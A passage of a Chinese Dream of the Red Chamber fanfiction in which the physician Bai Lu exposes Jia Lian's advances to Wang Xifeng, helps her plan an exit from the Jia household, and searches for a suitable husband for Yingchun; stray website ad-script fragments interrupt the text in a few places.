白露赶紧去看黛玉,见她和宝钗、探春几个离席退到了角落里才安心。倒是迎春,平日里安安静静的,这会儿反倒赶上前去想拦住贾琏。 只是贾琏平日里都懒得管这个妹妹,此时铁了心要闹事,又如何会把她放在眼里?手一伸就推了迎春,提着剑就要上前逞凶。 还是邢夫人和王夫人动了怒将剑夺下,贾母又发话才把贾琏赶走。 白露见黛玉没有掺和,之后便忙着安慰凤姐,哪里知道贾琏慌乱之中竟一眼看到了她。 虽被赶了出去,面上一副余怒未消的样子,可贾琏心里早把什么凤姐鲍二家的抛在了脑后,一心只惦记着方才贾母身边坐着的美人。 他心里越想越觉得心驰荡漾,见多了庸脂俗粉,如今乍一见这空谷幽兰,只觉得自己就差飞上天当神仙了。 于是贾琏捉来小厮兴儿,暗暗吩咐道:“去打听打听,今儿老太太摆宴,除了家里亲戚还请了哪家客来?” 那兴儿是贾琏心腹,哪里不明白贾琏心事?见贾琏如此一问,便小声道:“二奶奶昨儿亲自出了门一趟,去的便是林姑娘那同族太太家。两个人不知怎么的倒是处得好,二奶奶就亲自去请人来家里吃席。” “原来是她。”贾琏抚掌大笑,“早听说有这么个厉害人儿,本以为是那等五大三粗的医婆,却不知道是这么个神仙模样。我恍惚听说之前二姑娘不舒服也是请的她来看,既这么着,我这做兄弟的该好好送份礼才是。” 兴儿自然领命而去。 等白露围观完贾家一场闹剧回到家里,便看到管家憋红了脸,一副欲言又止,止又欲言的样子。 “怎么我出门半天,还有人上咱们家来找麻烦不成?”白露指着椅子让老管家坐,“消消气,您老人家什么没经历过,别跟那些混账一般见识。” “这!这岂是一般的混账!” “究竟怎么啦?”说真的,来了这么几年,白露还从没见过管家能气成这样。 “太太您瞧瞧,瞧瞧这是什么。”管家说完就指着桌上的一堆盒子让白露看。 白露的医馆收费很是公道便宜。这倒不是她心疼官太太们,只是为了方便京城里其他没什么家底的普通人家。 后者倒也罢了,前者看在皇后娘娘的份上,每回病好后必定要往她家里送份礼来。大家送礼都送得很有分寸,白露看过之后便让都收起来。要么自家用,要么拿去送礼。要是有人直接送钱的,那就干脆去买了药材,碰上那家里实在艰难的病人,对着别的大夫开的药方子抓了药给她就是了。 此时白露顺着管家的手往桌上一瞧,不禁啧啧称奇,“谁家这么不懂事,竟送这些花里胡哨的料子来。” 管家就差吹胡子瞪眼了,“还能有谁?那荣国公府的嫡子金孙,大名鼎鼎的琏二爷!” “啊!”白露瞬间缩回手拍了拍,大意了,碰到脏东西了。 “说什么谢太太给他妹妹瞧病,不说这是早就了结的事情,便是要谢,也有那府里太太奶奶们谢,哪里轮得到他来给太太送礼,还送这般不成样子的礼!” 贾琏的名声懂的都懂,也难怪管家气成这样。 白露敲了敲桌子,“这事先放着,等过两天我从宫里回来再说。” 管家好奇,“太太是要去皇后娘娘那里告状?可这事到底不好声张。” “这种小事怎么好去打扰皇后娘娘,再说别忘了宫里还有位贾家的贵妃。” “那太太……” “我且去宫里探探虚实,看看贾家这招牌还能立到几时。” 到了跟贾母和王夫人约好入宫那天,白露先是跟着两个人去拜见皇后。 皇后倒是见了人,只是没说什么别的,略客气了两句就让贾母和王 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夫人先去见贵妃,反而留下了白露,说让她先给自己瞧瞧。 这倒不是皇后霸道,反而是故意留时间让贾母和王夫人能同贵妃说点私房话。大家心知肚明,于是都和和气气的。 白露正好趁此机会向皇后述职,替宫外那些受了医馆恩惠的女子们转呈对皇后娘娘慈悲关爱之心的无限感激。 至于贾母和王夫人这里,除了关心元春的身体,关心她什么时候能怀个皇子公主,就只有另一件大事,想让元春拿个主意。 “宝玉的亲事?”元春一愣,“是了,我离家当日宝玉还是个孩子,如今也到了该说亲的时候了。” 想到时光匆匆,年华飞逝,元春不禁有些伤感,但随即又笑道:“老太太和太太看好哪家姑娘了?” 贾母不提黛玉,却也没有提元春之前特意暗示过的宝钗,只说:“臣妇们在府中阵日无事,见识短浅,也不知哪家有贤媛可配。倒是娘娘身在宫中,想必见过不少官眷往来,不知其中可有年纪相仿、性子模样都合适的姑娘?” 年纪、性子、模样其实倒还是其次,能出入宫禁的,除了皇亲国戚便只有高官显贵家的女眷。元春明白贾母的意思,这是想给宝玉找个出生好的媳妇,以后也有个助力。 王夫人原本还想拉上元春劝老太太,干脆认了宝钗这个孙媳妇。可一听贾母说这话,立刻觉得姜还是老的辣。 可元春心里也有思量。若为宝玉,为家族打算,不选薛姨妈家的表妹而另择高门,或宗亲之女,或高官千金,便是姑娘稍微差些比不上宝钗,倒也是应该的。 只是如今宝玉…… 元春到底是在宫中呆了十余年的人,一路侍奉公主、后妃、太妃,费了多少辛苦,经历了多少风波,才终于一跃成为皇帝的妃嫔,心思岂是安居内宅的寻常人能比的。 此刻听懂了贾母的言外之意,元春脑子里瞬间便闪过一串人选。 可她却没有直接应承,只说:“虽说成家立业,先成家才好立业,可咱们这样的人家不是那些寒门小户,今天请了媒人,明天上门提亲,后天就能接新娘子家来。依我看,宝玉的亲事倒是急不得,还得仔细相看才好,中间少则一二年,多则三四年的功夫。老太太和太太操心,也不能只叫宝玉等着享福,莫不如趁此机会叫他考个功名,到时候更是双喜临门。” 贾母和王夫人没想到元春不仅没应下,反而催着宝玉科举。只是科举本是正途,也是应该的。 不过贾母也不是傻子,听了孙女这话,回家一思量,心里还有什么不明白的。她默默流了一会子眼泪,把鸳鸯急得不知如何是好。 “老太太这是怎么了?”鸳鸯也不敢声张,“莫不是娘娘那……” “无事,只是瞧了娘娘,倒想起从前娘娘在家里的日子。” “这样。”鸳鸯笑了起来,“老太太这会子流眼泪,可再想想娘娘福气有多大,就该乐得眯眼了。” “你这丫头!”贾母笑笑,“累了,我今儿早点睡。” 说是这么说,贾母却根本睡不着。 但贾母睡不着,白露却睡得安稳,临睡前她还交代了秋桂一句,“明儿避着人偷偷去见贾家二奶奶,就说请她务必带着平儿来一趟,有大宝贝给她。” 20. 献宝物白露巧施计 白露请凤姐来家里做客原本就不安好心,她早就打着坏主意,下定决心要在凤姐那里好好唱念做打一番,狠狠揭露贾琏是个人渣的事实,让凤姐认清那衣冠禽兽的真面目! 只是凤姐带着平儿登门后,白露一看两人的神色,不见昨日的气急败坏或者难堪伤心,反而笑意盈盈,竟像是发自心底的得意。 看来贾琏把人哄好了,又或者说,如今贾府正是风头无两的时候。凤姐和贾琏夫妻俩私底下有再多的矛盾,可整体利益是一致的,贾琏再不规矩,凤姐气归气,却不会真的跟他割席。 白露立刻按捺下原本的心思,“昨儿你生日反而闹了那么一通,我想你平日里在家里也辛苦,干脆找个借口请你出来,咱们单独吃吃喝喝半日,不理那些烦心事。” 说完又请平儿也坐,凤姐不疑有他,跟着白露的话拉平儿坐下,完了又扭过头来对白露说:“家里人都说她是个好的,比我还要强上十倍,如今你也觉得她好。我想这是人的眼睛总不是瞎的,平儿果真就是个好的,倒是我,昨儿气上了头,真真委屈了她。” 说完凤姐又亲自给平儿夹菜,又说了一箩筐好话,闹得平儿要恼不恼的,最后扑哧一下笑出了声来。 吃了饭,凤姐才问白露:“你说有宝贝要送我,快快把宝贝拿来,要是不够好,今儿我们可就不走了。” “哼!”白露就拉她往屋子里去,“高门大户人家来的宝贝,平常人想见都见不到呢。也就是咱们关系好,东西一到我眼前立刻就想到你了。” 说的凤姐越发心动了。 然而打开盒子一看,凤姐就不禁撇嘴,“这算是什么宝贝?你要稀罕这样的料子,咱家后楼上不知道堆着多少箱子呢。等我哪天有空了慢慢翻出来送你,保管比这个不知哪儿来的外路货强。” 白露也笑,“果然是国公府里的当家奶奶。这点这东西入不了你的眼,倒也不稀奇。你既看不上,那我干脆送平儿。平儿,你瞧瞧这些料子,要是瞧得上,就抱回去做衣裳,总比在我这堆在箱子里喂虫子强。” “哟,这倒是了。”凤姐这才反应过来,这样鲜艳明媚的料子送给白露其实极不恰当。但这话可不好说出来,于是她就把一堆料子往平儿怀里推,“巧了,我正愁着该寻什么奇珍异宝来给平儿赔罪呢。平儿,把东西抱着,人家既然大方地送,你就大方地收!” 平儿抱着料子勉强笑了一下,跟凤姐和白露打了半下午的牌,回到家里见凤姐心情确实不错,才挥退了门口打帘子的小丫头,蹲到凤姐身边,边替她捶腿边小声说:“我细瞧着白太太送的那料子倒是有些眼熟。咱们家里上个月好像才收过哪家差不多的礼。” 凤姐一开始还没放在心上,闭着眼睛懒洋洋的,“又不是金玉古董,要寻的年份越久的越好。这些绸啊缎的自然要送时兴的。你这么一说倒是提醒我了,这些料子怕是南边儿最近才出的。无妨,便是府里哪个主子用这料子做的衣裳,你还怕跟她撞了不成。” 见凤姐没领会到自己的意思,平儿顿了顿才小心道:“料子是好料子,就是想着前儿二爷送给鲍二家的好像就是这料子,外面人觉得这玩意好,可府里出了这档子事,我总觉得这东西看着碍眼。” 凤姐刷的睁开眼睛,“你什么意思?” 平儿低头不语。 但凤姐自己就能把话接下去,“是了是了,那混账王八提着剑跑到老太太那里一通大闹,保不齐就让他瞧见了人。” “好个贱人。”凤姐咬牙切齿,一巴掌拍在炕桌上,“来人!来人!去翻箱子,奶奶我今儿非要把家里查个底朝天,看看那胆大包天的死耗子到底偷了多少东西出去!” “奶奶!奶奶息怒!我也就是这么一说,不定是二爷送的呢!” “哼!”凤姐挥开平儿,“不是那混账种子送的,人家会巴巴把这东西当宝贝送到我眼前。人家是个尊贵体面人,这是不想把事情闹大。要是咱们再不知趣,不好好管管那好二爷,再有下次,说不定就该皇后娘娘来管了!便是娘娘,有这么个不知趣的国舅兄弟,在宫里还不知道要受多少申饬呢!” 最后这话只是凤姐气急了时忽然灵光一闪,可回过头来,她越想越觉得这话有道理。 这贵妃嘛,说到底,不就是皇上的姨娘? 都是当姨娘的,那赵姨娘能一口气生两个孩子,除了肚子争气,更要紧的是老爷喜欢。 如今娘娘给皇上当姨娘也有好几年了,肚子却没有一点动静。这说明什么?要是娘娘身子康健,那就说明皇上近来也不怎么宠娘娘了。 要是娘娘果真失宠,这贾家的大国舅小国舅还这么不收敛,闹出些事端来,岂不是更让娘娘在宫里难做人? 那贾琏时常跟宫内内官们打交道,言语之中自然能嗅出些风声来,被凤姐抓住当面对峙时原本还想抵赖,可凤姐把话那么一嚷嚷,吓得贾琏霎时冷汗都要下来了。 “还不快住嘴!”贾琏死死捂住凤姐的嘴,凑在她耳边咬牙切齿道,“这话岂是能随便说的,要是传了出去,里里外外岂不是要乱套!” 不说家里老老少少正是因为出了个贵妃才神气得意,单说外面,多少小官是看在贵妃娘家的份上才那么好说话的。 寻常官儿也接触不到后宫里头的事,真要从自家府里传出贵妃失宠这样的话,岂不是自打自己的脸,让人看了天大的笑话! 可凤姐才不怕贾琏,她一把挣脱出来,冷笑连连,“你也知道如今娘娘才是家里的支柱,既这么遭,你还不赶紧老实点。府里的也就罢了,你偷嘴还敢偷到府外去!还敢偷到皇后娘娘眼前的红人身上去!你打量着人家眼睛瞎,瞧得像你这破葫芦!怎么?莫不是还打着干脆攀了这高枝,骗人家在皇后娘娘面前替你美言的主意?!我呸!抹了镜子好好瞧瞧,你倒是有没有这个脸!” 贾琏心虚得很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,可话又说回来,这事情不是没成吗?再说如今东西都拿回来了,他又没有把柄落到人家手里,那只要抵死不认,难不成那寡妇还真敢把这事嚷嚷得全京城都知道? 于是贾琏真就嘴犟,只说凤姐听风就是雨,没头没尾就随随便便起疑心,故意找着茬闹起事来要压服他! 两个人在屋里里吵着吵着就动起手,茶杯啊水壶啊花瓶啊,随手抓住就往地上掼。 平儿有心要劝劝,可以想起前天她好心劝架,却被两个人轮着欺负的事,脚步一顿,干脆退到外面院子里站着,让这夫妻两个自己拉扯。 一时间摔得拼铃乓啷,吵得天翻地覆,引得贾母王夫人邢夫人等纷纷派人来问。 凤姐本想告状,结果贾琏偏一口咬死不干自己的事,“要说是我干的,好,拿出证据来!这料子上可写了我的名字?没写?衙门拿人还讲究个人赃并获,如今你空口白牙就想定我的罪,你当我是个老实人好欺负,也当老太太、太太们是傻子不成!实在不行把人叫来,谁收了东西,我当面跟她对峙!” 凤姐再胆大包天,也知道这事不能把白露扯进来,否则岂不是平白害了人家! 见凤姐一时语塞,贾琏心里越发得意,转头就在贾母王夫人等面前告状,告凤姐不仅悍妒,如今随手翻了几匹料子出来,竟然还弄起栽赃陷害来了。 总之,“这日子孙儿是一天也过不下去了!” 凤姐几时受过这等委屈,正要大怒。上座的贾母立刻就把脸拉了下来,清喝一句,“凤丫头!” 邢夫人早与凤姐有嫌隙,赶在王夫人之前出声,“你这是还在为了上回的事生琏二的气不成?老太太亲自做主,让琏二同你赔礼道歉,你当时应得好好的,怎么回过头来还要闹?爷们儿家便不是女人,难道这名声就不要紧了?你们小夫妻闹闹,我们这些做长辈的人也不该多管,只是你要把事情闹得这般大,传出去,丢的可是咱们全家的脸!” 便是王夫人也道:“凤哥儿,你平日里使使性子,大家都让着你。可这事岂能儿戏,你也该懂些道理。好了,你好好同琏二赔罪,夫妻俩有什么事情彼此让这些,不要说什么谁压服谁的话,和和气气的才好。” 凤姐简直快气炸了! 这琏二是个什么东西,她知道,看着他从小长到大的老太太、太太们能不知道?!证据都摆到眼前了,还在这里装糊涂,反说是她的不是! 只是贾母和王夫人都发了话,凤姐也没法子,只好忍气吞声地回家。 贾琏早得意地摔了门出去。不知去哪儿鬼混去了。 凤姐坐在炕上越想越气,忽然就呕出一口血来。 “啊?!奶奶!”平儿哪里见过这样的阵仗,简直要吓得六神无主。 “别慌!”凤姐一把按住她,“我且死不了呢。去给我打盆水来,再叫小红赶紧去请露姐,就说求她快来救我一命,悄悄避着人,快去!” 21. 凤姐冷心 大晚上的,白露都已经熄了灯准备睡觉,忽然听到院子里有什么动静。 她竖起耳朵仔细听了听,原来是有人在敲院门。兰叶和秋桂就睡在隔壁屋子,此时已经开了门,想来若有大事,一会儿就要来叫自己了。 果然,白露听见急匆匆的脚步到了自己屋门口,接着兰叶焦急的声音就响起,“太太,荣国公府里二奶奶身边的小红来请太太,说是那边二奶奶呕了一口血,眼看着大不好了,求太太赶紧去救一命!” “这是怎么了?”白露大吃一惊,赶紧披衣下床,“快快拿我东西来。” 说着她就急匆匆往外走,去问小红到底发生什么了?不记得原著里还有这回事啊?凤姐是累病过,可还不至于到吐血这样严重。 小红知道凤姐同白露素来关系好,不是看着两家的面子情,倒是真的脾气相投,于是也不避家丑,当下就把凤姐和贾琏如何在家里吵起来,吵到老太太、太太们那里去,老太太、太太们又如何断案,凤姐如何委屈受气的事一一说了。 “可怜我们奶奶还不是为了二爷的名声,为了家里的面子着想。怎知道老太太、太太偏娇惯二爷,如今连我们奶奶说句实话都不愿听了。” 小红是真的伤心,替凤姐觉得不值,边说还边求白露也好好劝劝凤姐,“这么巴心巴干地,如今可该看清了。” 凤姐管了几年家,里里外外都有人手。此时着急忙慌地请人上门,竟然还真没惊动别处,把消息瞒了个死紧。 进屋之后,白露见到的就是躺在床上、面色苍白、眼里还不停滚着泪珠,跟平日里神采奕奕的状态完全不一样的凤姐。 “别动别动,我这就替你看看。”白露此时格外后悔,“都是我的错,我本该好好把事情同你说清楚,偏偏火上浇油害你生这一肚子气,又受着许多委屈。” “怎么怪得了你。”凤姐虚弱不堪地开口,看上去竟有些心如死灰,“我倒是痴心一片,想着既来了这府里,便要把日子过得人人称羡。这些年劳心劳力,当着面,谁不称一句好?虽然背地里得罪了不少人,可我总也不放在心上,只要老太太、太太们说好便好。我也是个傻的,本以为在老太太、太太们那总有些颜面,谁知道做了这么多,终究抵不过琏二那家伙几句狡辩。” 凤姐说完就闭着眼叹气。白露拍拍她的手,替她扎了针,确认凤姐气顺了才轻轻盖好被子让她休息。 留了小红在屋子里照看,白露才同平儿走到外面说话。 “实在是气得很了些,情况不大好。今晚上我就先不回去了,园子里这会儿怕也落了锁,索性你收拾个屋子我先住下,等明一早再看看。” 平儿知道轻重,当下就悄悄安排人去收拾空屋子,自己则对白露说:“不怨我们奶奶这么生气,她本就是个要强的人,哪里忍得了这委屈。方才奶奶没说,太太怕是还不知道,我听老太太那边的鸳鸯说,老太太和太太们都觉得二爷和我们奶奶近来闹得不像话,商量着要再指个人来服侍呢。” “啊?”白露实在没懂贾母和王夫人、邢夫人几个这思路,“她气的不就是你们家二爷不老实,再指个人来,岂不更早炸了?” “可不是!”平儿也是这般想的,“只是老太太几个想,指了人,二爷便不用到外面去偷嘴惹事了。再一个,中间有人格开二爷和我们奶奶,也免得两个人见面就吵。最后就是有那么个贤惠的比着衬着,也好叫我们奶奶收收性子……” “哼!”白露倒也不跟平儿客气,有什么话就说什么,“老太太、太太们倒是好心,指望着有了人,你们那二爷便不去外面沾花惹草。可岂不知这江山易改,本性难移,到了手的有什么滋味?还是要那到不了手的才更勾人呢。” 平儿格外难堪,实在不知道怎么接白露这话,只能说:“都说我们奶奶心眼儿小,醋性大,眼里容不得人,可二爷在外头那些事,只要不是闹到了家里来,她何曾真的管过?便是这回,为了太太,也为了咱们家的名声,奶奶便是管了,难道还有错了?偏老太太、太太们为了遮丑,硬把这屎盆子往我们奶□□上扣。太太跟我们奶奶好一场,还望太太明儿个好好劝劝,有些事看开了便丢开手罢。” “你这么说,小红也这么说,旁人都不领情,好歹还有你们两个事事替她考虑的。”白露这才知道平儿的体贴,可惜了这么好的人,到头来还是要跟贾家绑在一块儿,真是好人没好报。 她轻轻拉起平儿的手,“你事事为凤哥儿着想,可也该想想自己。如今年华正好,未来更有大把的日子,你可想好了自己到底要怎么过?” 简简单单两句话,却说得平儿落下泪来。 “我,我打小跟着我们奶奶,往后自然也是她在哪儿,我在哪儿。”平儿擦了眼泪,“夜深了,我陪太太休息去吧。” 白露将就着在贾府休息了一晚上,第二天确认凤姐好多了才放下心。 见凤姐精神还行,她才道:“平儿和小红都让我来劝劝你,可有些话别人却没用,还得你自己心里想清楚了才行。如今屋子里也没有旁人,你要是憋不住话,不妨说出来我听听。” “我,”谁知凤姐嗷的一下就嚎了起来,“我这辈子可算是被坑惨了!” “进了高门,日日算计着哪里去弄钱;嫁个男人,男人却盼着我死;说是亲姑妈,姑妈却打量着让我先占着管家的位置,如今只等亲儿媳妇过门就干脆一脚把我踹了!你说我这些年汲汲营营是为了什么?回头来看看,我才是这个家里的笑话!” 凤姐趴在白露怀里哭诉,白露一边安慰她,一边又把昨天小红、平儿的话串了起来。 小红只觉得贾母王夫人几个偏心贾琏。 平儿倒是看出来贾母王夫人等是为了遮掩家丑才让凤姐背锅。 到了凤姐自己这里,才明白上头婆婆太婆婆们发作一通,除了平儿想到的,更是为了趁机把她从管家的位置上挪开,顺理成章地给“宝二奶奶”腾地方。 王夫人明知道贾琏的脾气,却还是为了对付邢夫人和李 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纨,将内宅大权捏在自己手心而让亲侄女嫁了进来。如今宝玉长成,为了自己儿子能顺利继承家业,又着急着踢开凤姐。 如此过河拆桥,怎能不让人心寒。 如今凤姐身在贾家,便是看透了,难道还能轻易脱身吗?不说四大家族的捆绑不可能解开,便是她有本事拼个鱼死网破和离,恐怕也舍不得自己的女儿。 白露拍着凤姐的背,问她,“既然你都看透了,以后干脆丢开手,别再为那些不领情的人费心。巧姐还这样小,你把从前管家的心力放到她身上,何愁养不好女儿?” 白露不提巧姐还好,一提起来凤姐哭得更是厉害了,“都是我的错,我从前只想着在人前争强好胜,哪里有心思多照看她。摊上我这么个妈,老天爷真是委屈她。” “好了好了,那从今儿开始,你就好好陪陪她。姑娘都是贴心的,你对她好,她难道还会不知道?” 凤姐一想也是,白露这个当后妈的都能把家里的后女儿养得跟亲生一样亲,没道理她这个当亲妈还养不亲自己肚子里出来的姑娘啊? “平儿!”凤姐有了精神,第一件事就是喊人,“去把隔壁小院空屋子收拾出来,既然老太太、太太疼咱们二爷,特意指了好的,不管是谁咱们都不能慢待了。你收拾了屋子,再安排两个伶俐丫头过去伺候。完了就去老太太、太太那里替我告罪,说我昨儿想了一夜,知道自己混账了,如今已下定决心要改好。只是一晚上吃也吃不下,睡也睡不好,这会子忽然难受得起不了身,求老太太、太太先找别人支应着家里事,等我好了,再亲自去请安。” 平儿见凤姐不再执着着跟贾琏斗气,心里一喜,立刻应了。 白露乍一看凤姐竟然表现得这么贤惠,一开始还担心她是想把人骗进来杀,谁知听到后头,就反应过来她是想从贾家脱身了。 凤姐果然道:“我也不瞒你,家里虽说出了个娘娘,爷们儿人前人后个个抖得不成样子,可细细翻了账本,我才知道家里这几年为了娘娘撒出去多少银子。再这样只出不进,多厚的家底子也能耗空了。 老太太倒是有体己,可也是为宝玉留着的。巧姐这丫头也是命苦,虽托生在这家里,可除了我,还有谁疼她?只恨我从前被猪油蒙了心,多少嫁妆都当了出去。好在如今为时未晚。 另一个就是平儿,也是我对不住她。如今我求你一件事,看在平儿的面上,你一定要帮帮忙。” 白露猜到一点,“什么?你说。” “平儿的身契就在我这里,你走的时候一并带走,去衙门帮她消了奴籍,等我找到机会让她离了这火坑。还有就是,趁我还能使唤动人,往后我零零散散托人带东西给你,你也帮忙收着。日后便是平儿傍身的东西。” “好,你放心吧。”白露一口气答应下来,心里却想,凤姐说得估计也不全是实话。 她这不仅是为了平儿,更是为了给自己和巧姐留条退路。她好歹当了这么些年家,别一口气真把贾家搬空了吧! 22. 喜迎春得离中山狼 不得不说,虽然贾府给白露的印象就是一群人躺在祖宗的功劳簿上不务正业,吃喝玩乐,可当他们真的想干些什么事时,那效率也不是一般二般的快。 这边凤姐才安排了平儿出去收拾院子,准备接待新人,那边人就已经到了门口,说是要来拜见二奶奶。 白露好奇,“也不知道你家老太太和太太给你挑了个什么好人来。” 躺在床上的凤姐皮笑肉不笑,对进来通报的小红说:“管她是谁,按我之前说的话先打发的就是。大清早的,别在我面前晃得心烦。” 小红就要出去,可白露到底叫住了她,问到底是谁? 先仔细觑了凤姐的神色,见她没有不让说的意思,小红才小声道:“是大太太派人送来的,说大老爷亲自吩咐了,他身边的秋桐是个伶俐人,特特叫来伺候二爷和二奶奶。” 秋桐,原来是这个狠人。 白露想起秋桐欺负尤二姐的事,只是面上不动声色,“我还当老太太、太太舍得把自己身边的好姑娘给你家,谁知倒给了这么个名不见径传的。” “既是大老爷身边的人,你自然不知道她的底细。”哪有当老子的再把屋里人送给儿子的,凤姐被这事恶心得不行,此时也不愿多说。 叫了小红出去打发秋桐,便在那儿自言自语,“我这一管不了家,按理,还有珠大嫂子可以支应。只是太太是断断容不得大嫂子得势的,说不得就要再让三姑娘出来。三姑娘是个姑娘,时候到了就要出门,也碍不着太太什么。大嫂子若是知趣,自然也该把三姑娘顶到前头……” 不说李纨,王夫人怎么就看亲孙子都不顺眼?这个问题白露从前也迷惑过,本以为是没了大儿子,每每见到大儿媳妇和大孙子便触景生情,所以下意识远离。 可真到了这里,接触多了各个高门大户,白露才恍然大悟,贾母和贾政喜欢贾兰,是高兴自家子孙满堂,后辈有出息。 可对王夫人来说,若是贾兰真大出息了,那他作为长子长孙,对贾家的继承权还要在贾宝玉这次子之上。 若是贾兰真继承了贾家,那作为当家人的亲妈,自然便是如今贾母的地位了。至于王夫人这个奶奶,也只能被架得高高的,想沾权,想都别想! 别说王夫人本就偏心自己亲生的儿子,就说这切身利益之争,她也万万不能放纵李纨和贾兰起势。 不过话又说回来,王夫人指望宝玉继承家业,可如今爵位还在贾赦身上,贾赦又不是没儿子,这不是还有好大一个贾琏杵在这里? 贾琏也不是个没成算的,家里事外面事,哪有他不插手的,比起贾宝玉成日在园子里潇洒快活,他掌握的资源可多多了。 也不知道这戏最后要怎么唱下去。 白露想了这许多,越想越觉得这乌烟瘴气的地方,真是可惜了几个好姑娘们。 “三姑娘性子刚毅,既明事理又有远见,有她来主事,想来若是你心疼她,愿意张张嘴搭把手,她必是能把这家管好的。” “她是个好的。”凤姐也点头,“不怕你笑话,如今咱们家里,满打满算,能托付的也就她一个了。” 白露知道凤姐就喜欢探春这样爽快的姑娘,可迎春、惜春这样的,难道真是她们天生庸庸诺诺、冷心冷肺? 不过是爹妈没一个指望的上,被人无视久了,便自己也不在乎自己了。 既然话说到了这里,白鹭又想起了一桩事。 “宝玉都在相看亲事了,你家二姑娘比他还要大上些吧?如今是个什么打算?若有看好了人家,你偷偷跟我说,我也好替她备一份礼。” 凤姐满心盘算着自己的事,哪里顾得上什么二姑娘不二姑娘。被白露这么一打岔,她下意识就说:“没听到什么风声啊?左右还有老太太和大太太呢……” 话没说完,凤姐一骨碌从床上撑了起来,眼睛睁得大大的,说话的这调子却飘飘忽忽,又像是在回白露的话,又像是在自言自语。 “是了是了,你这倒是提醒我了。二姑娘也就比宝姑娘小一点,实在是拖不得了。我这几天就去问问老太太和大太太的意思。” 可不问不知道,一派人去敲敲边鼓,凤姐这才是心都凉了。 “太太可知道我们家老太太和大太太是什么个意思?”平儿上门时说起这事,整个人都透着无奈,“老太太那边,鸳鸯的意思是,如今正顾着宝玉,别的实在没那功夫,且儿女婚事都是父母之命,二姑娘那自有大老爷和大太太做主。 我们奶奶又使着法去问了大太太。唉,一天天的,如今大老爷给了个秋桐给二爷,又闹着看上了老太太身边的鸳鸯,指使着大太太去老太太那讨人,结果得了好大没脸。 出了这档子事,又说起二姑娘,谁知道大太太的原话竟然是二姑娘又不是她肚子里爬出去的,这么些年也没让她管过,如今该说人家了,劳烦谁也劳烦不到她头上去,二姑娘自然有照管她的人操心。 大太太这说的是二太太呢。可这个时候去问二太太,跟问老太太有什么分别?二太太如今满心满眼都为了宝玉打算,哪里还瞧得见别的姑娘?” 白露听了都气笑了,“倒是可怜了二姑娘,有爹有妈,竟连那没爹没妈的孤儿也不如了。” 平儿低着头不好接话,只说,“我们奶奶倒是惦记着,可二爷近来也不知道又去哪里快活,十日里七八日都不着家,便是回来了,一句话不说又去了新姨娘那。我们奶奶找他说二姑娘的事,他只一口气往大老爷大太太身上推。 我们奶奶如今在府里也没法子,只能来求太太,您知道的人家多,许是认识什么合适的。二姑娘的性子您也知道,不敢求那些高门,能找个家里和气,脾气好的姑爷便是二姑娘的福气了。” 白露倒是没想到凤姐会把事情拜托给自己。 可那是迎春,又不是人人都长了邢夫人一样的石头心肠,谁能眼睁睁看着她被亲爹推进火坑?凤姐是这样,她其实也是这样。 倒不如趁如今王夫人还没发癫查抄大观园,查出司棋的事连带坏了迎春的名声,也趁着贾赦还没被人赖上只能拿女儿抵债,先给迎春找找合适的人家。 虽说好人家也难得,可事在人为,白露也不推辞,“这可得花些时日,你先回去,有了消息我立刻就告诉你们。” 既然答应下来,白露就认真行动了。 医馆里再有病人上门,碰上通情达理的人家,白露 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟她们闲话时就要多问一句家里的情况。 有没有儿子侄子大孙子?几岁了?可爱读书?性子可好?有没有定下人家?没有,巧了,她这里正知道家姑娘打算说人家呢…… 大家都是聪明人,白露透了话音,一群太太奶奶们就闻弦歌知雅意。 有那有意的,大家就细说一二;家里不急着找媳妇的,也能回去给其他亲朋好友暗示暗示。甚至发展到后来,还有人发现白露这里竟然是的交换信息的好地方,于是反而拜托可白露,说她家也有姑娘,劳烦白露顺便留个心。 一开始人少,白露顺便也就应下了。可谁知后来人越来越多,白露哪里记得住那么多少爷小姐,干脆叫各家家长不落实名,直接在册子里写了孩子的简历。 男女分册,找儿媳找女婿的,想找什么样的自己去翻,翻到合意的就按照下边留的地址再找中间人去打听…… 也不知怎么的,明明城里大大小小的媒婆多的是。可这群太太们偏偏就喜欢来白露这里留言,如今候诊时大家也不跟别的人大眼瞪小眼了,抱着册子看得精精有味。甚至同样有女儿或者儿子的,还能一起挑剔别家孩子两句,还约起来商量怎么改简历让自家孩子看起来更好,发展到后来,一堆人又开始交流如何识破简历包装,直击真相…… 总之,热闹,太热闹了。 难不成是信她的医术,所以连带着信她便是转行做媒,也能做成京城第一巧嘴?白露暗想,她这是不是也算做出个人品牌来了? 还别说,这广撒网的效率确实不是定点打窝比得上的。几个月下来,不说四五对看对眼的人家,就是白露这里,也碰上了两三个还不错的。 “这家是我邻居家认识的,家里老爷也在翰林院,人口简单,就一个老太太,翰林和他太太,还有就是一个哥儿,两个不到十岁的小姑娘。不知道你们家瞧不瞧得上人家门第,我问了我邻居,那哥儿比迎春大些,已经考上了秀才,以后金榜有望。 这都还不是最要紧的,要紧的是人家一家子据说都是厚道人。这样的人家,虽有些势单力薄,可家里清清静静,和和气气,没那乌七八糟的事情,其实再适合迎春不过了。” 凤姐一听就很感兴趣,“还得是你!换了别人,不把二姑娘拆了论斤卖上几千钱,那是能罢休的?这个好,我们这二姑娘你也知道,呆呆木木的,别人给什么就接什么,从来不争也不抢,如今在家还好,真要她自己去人堆里厮杀,那是要了她的命!” 见凤姐果真不挑剔人家门第,白露便更高兴了,“别急,还有两家,你听了,仔细比比再说。” “快说!” “这家不做官,但家里世代开书院的,也是清贵人家,跟二姑娘也合适……” 白露跟凤姐就说得热火朝天的,恨不得今天就能把事情定下来。 “就这么几个人就很不错,什么时候我能见见,跟人家太太当面说说,或者再问问二姑娘的意思。” 凤姐正计划着,平儿又匆匆走了进来,“奶奶,出大事了!园子里不知怎么的,几个婆子非说逮住了二姑娘身边的司棋半夜偷人,如今要押去太太那审。三姑娘拦都拦不住,请二奶奶千万去一趟!” 23. 弱小姐难得自立 凤姐的脸色瞬间就变得很难看。 白露心想,她是个事事都要掌握在自己手里的性子,如今眼看迎春的事有了进展却横生枝节,自然是要不痛快的。 